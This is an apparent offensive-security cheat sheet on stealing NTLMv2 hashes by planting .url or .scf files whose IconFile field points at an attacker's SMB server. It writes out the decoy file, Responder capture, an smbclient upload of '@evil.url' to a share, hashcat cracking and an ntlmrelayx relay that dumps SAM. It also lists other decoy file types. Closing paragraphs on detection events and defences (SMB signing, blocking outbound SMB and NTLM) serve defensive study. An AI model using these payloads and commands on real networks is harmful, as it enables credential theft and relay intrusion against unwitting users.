NTLMv2 coercion with SCF/URL (IconFile UNC)

A .scf (Shell Command File) or .url (Internet Shortcut) file can reference an icon at a UNC path (\\attacker\...) through the IconFile= field. When Windows indexes the directory containing the file (via Explorer, thumbnails or the search engine), it resolves the UNC automatically to render the icon and in the process authenticates the user against the attacker's SMB. That authentication attempt leaks the victim user's NTLMv2 hash to the attacker. The victim executes nothing: they only open the folder containing the file.

Plant the decoy and capture

You stand up an SMB capturer (Responder or impacket-ntlmrelayx) and drop the file in a writable share:

[InternetShortcut]
URL=x
WorkingDirectory=Flibertygibbit
IconFile=\\<lhost>\%USERNAME%.icon
IconIndex=1

sudo responder -I tun0 -wv                          # captures the NTLMv2
smbclient //<ip>/<share> -c 'put @evil.url'          # the @ puts it at the top of the listing

With the captured hash (victim::DOMAIN:...) there are two paths. Crack it offline:

hashcat -m 5600 hash.ntlmv2 /usr/share/wordlists/rockyou.txt

or, if the crack does not land, relay it to another service that does not require SMB signing, authenticating as the victim without knowing their password:

impacket-ntlmrelayx -t smb://<other_host> -smb2support   # runs/dumps SAM on the target

Decoy file variants

.scf files worked in Explorer until Microsoft limited their remote rendering; .url files with a UNC IconFile= are still effective. Also usable are .lnk (with a UNC icon), .library-ms, desktop.ini files in a writable folder, or EXIF metadata/Office documents with an embedded \\.... The idea is always the same: get Windows to resolve an attacker-controlled UNC path when it displays the folder.

Requirements

A share (or a folder the victim indexes) where we can write, and the attacker reachable over SMB (445/tcp) from the victim (internal or proxied). Success depends on someone browsing that folder and on the hash being crackable or the relay target not signing SMB.

How to detect it. There are two observable moments. The plant of the file leaves an Event ID 5145 (a network share object was checked for access) with write access of a .url/.scf/.lnk in a user share, and a Sysmon 11 (FileCreate) of that extension. The coercion itself is outbound SMB traffic from the victim host toward an IP that is not a known file server: a network sensor seeing NTLM (SMB) leaving the corporate range, or an SMB honeypot/canary logging any inbound authentication, gives it away instantly. Responder itself generates no logs on the victim, so detection lives on the network and in the appearance of the decoy file. Files with IconFile=\\IP\... pointing outward are a direct indicator.

Defence. Mandatory SMB signing (stops the relay), block outbound SMB beyond the corporate network, restrict outbound NTLM via GPO. On user shares: do not allow anonymous or low-privilege writes. It is the door to Pass-the-Hash (after cracking) or to an NTLM relay against another host.